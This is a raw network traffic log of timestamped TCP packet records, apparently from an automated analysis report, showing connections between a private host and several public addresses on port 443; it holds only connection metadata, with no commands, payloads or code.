Jan 13, 2025 20:18:37.285331964 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285365105 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285381079 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285407066 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285424948 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285454035 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285454988 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285478115 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285481930 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285504103 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285533905 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285554886 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285595894 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285621881 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285625935 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285650969 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285672903 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285722971 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285726070 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285722971 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285768986 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285775900 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285821915 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285855055 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285867929 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285890102 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285898924 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285924911 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285945892 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285957098 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285975933 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.286041975 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.459630966 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.459692001 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:37.459758997 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.460128069 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.460141897 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:37.469490051 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.469575882 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.469640017 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.469671965 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.469711065 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.469741106 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.472871065 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.472915888 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:37.474606991 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.477997065 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:37.478039980 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:37.490369081 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.490403891 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.575211048 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.575722933 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.575750113 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.576908112 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.577235937 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.577404976 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.577414989 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.592243910 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.592282057 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.592439890 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.592674971 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.592698097 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.619345903 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.628953934 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.749949932 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.750160933 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:37.750222921 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.752047062 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:37.752085924 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:38.039484024 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.044485092 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.044507980 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.045142889 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.045603991 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.045722961 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.046365976 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.046438932 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.046471119 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.090260983 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.090560913 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.090573072 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.092197895 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.092494965 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.092674971 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.092742920 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.092772961 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.092835903 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.165836096 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.165941000 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.166023970 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.166213989 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.166239023 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.225902081 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.226130962 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.226217985 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.260255098 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.263389111 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.271574974 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.271770000 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.271960974 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.479480982 CET	49918	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.479512930 CET	443	49918	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.481806993 CET	49919	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.481818914 CET	443	49919	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.488851070 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.488943100 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.489037991 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.489546061 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.489579916 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.492223024 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.492237091 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.494820118 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.494822979 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.494874001 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.494884968 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.494889975 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.494893074 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.494978905 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.494999886 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.495147943 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.495162964 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.495172024 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.495191097 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.495273113 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.495290041 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.495307922 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.495318890 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.833973885 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.834247112 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.834280968 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.835144997 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.835525990 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.835613966 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.836122990 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.836184978 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.836205006 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.843262911 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.843343973 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.843358994 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.843411922 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.843419075 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.843460083 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.843482018 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.843683004 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.844244003 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:38.844252110 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:38.958583117 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.958755970 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:38.958836079 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.959402084 CET	49924	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:38.959429979 CET	443	49924	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.242420912 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.242744923 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.242806911 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.243351936 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.243738890 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.243978977 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.243992090 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.244030952 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.244035006 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.244111061 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.298170090 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.352972984 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.353243113 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.353423119 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.353687048 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.353733063 CET	443	49925	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:39.353763103 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.353820086 CET	49925	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:39.698399067 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.698493958 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.698611975 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.698893070 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.698924065 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.737087965 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.737164974 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.737180948 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.737227917 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.737242937 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.737437010 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.738157988 CET	49920	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:39.738168955 CET	443	49920	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:39.989500999 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:39.989577055 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:40.357012987 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.357188940 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.357633114 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.357650995 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359308004 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359318972 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359394073 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359416008 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359461069 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359472036 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359589100 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359622002 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359638929 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359651089 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359757900 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359786987 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359935045 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.359963894 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.359977007 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360079050 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360105038 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360136986 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360152006 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360220909 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360244036 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360297918 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360297918 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360409021 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360527039 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360619068 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360656023 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360675097 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360675097 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360704899 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360802889 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.360924959 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.360996962 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.361041069 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.361083984 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.370800018 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371067047 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371150017 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371177912 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371249914 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371263027 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371289015 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371335983 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371351004 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371408939 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371408939 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371438026 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371486902 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371560097 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371650934 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371691942 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.371711016 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.371949911 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.375464916 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.375690937 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.375880003 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.376519918 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.376657009 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.376686096 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.376884937 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.376990080 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.377037048 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.377221107 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.377322912 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.377693892 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.381474018 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.381517887 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.381701946 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.381761074 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.381795883 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.381999016 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.382096052 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.382216930 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.382226944 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.382234097 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.382318974 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.382349014 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.382442951 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.382913113 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.382951975 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.383217096 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.383258104 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.383464098 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.383507013 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.383651972 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.383853912 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386233091 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.386249065 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.386415005 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.386435032 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386491060 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.386629105 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386670113 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.386710882 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386710882 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386749983 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386780977 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386806011 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386836052 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386873960 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386893034 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386917114 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386954069 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386954069 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.386982918 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387007952 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387042046 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387058020 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387084007 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387084007 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387120962 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387144089 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.387161016 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427369118 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.427500010 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427614927 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427644014 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427668095 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427690983 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427714109 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427727938 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427747011 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427772999 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427798033 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427824974 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.427846909 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.436028004 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.436208963 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.436285973 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.436520100 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.436568022 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.436774969 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.436873913 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.436944962 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.436945915 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.437057018 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.437155008 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.437191963 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.437252045 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.437406063 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.454818010 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.454952955 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.455112934 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.455177069 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.455357075 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.455490112 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.455581903 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.455739021 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.455914974 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.456027031 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.456168890 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.456362963 CET	49935	443	192.168.2.5	116.203.11.8
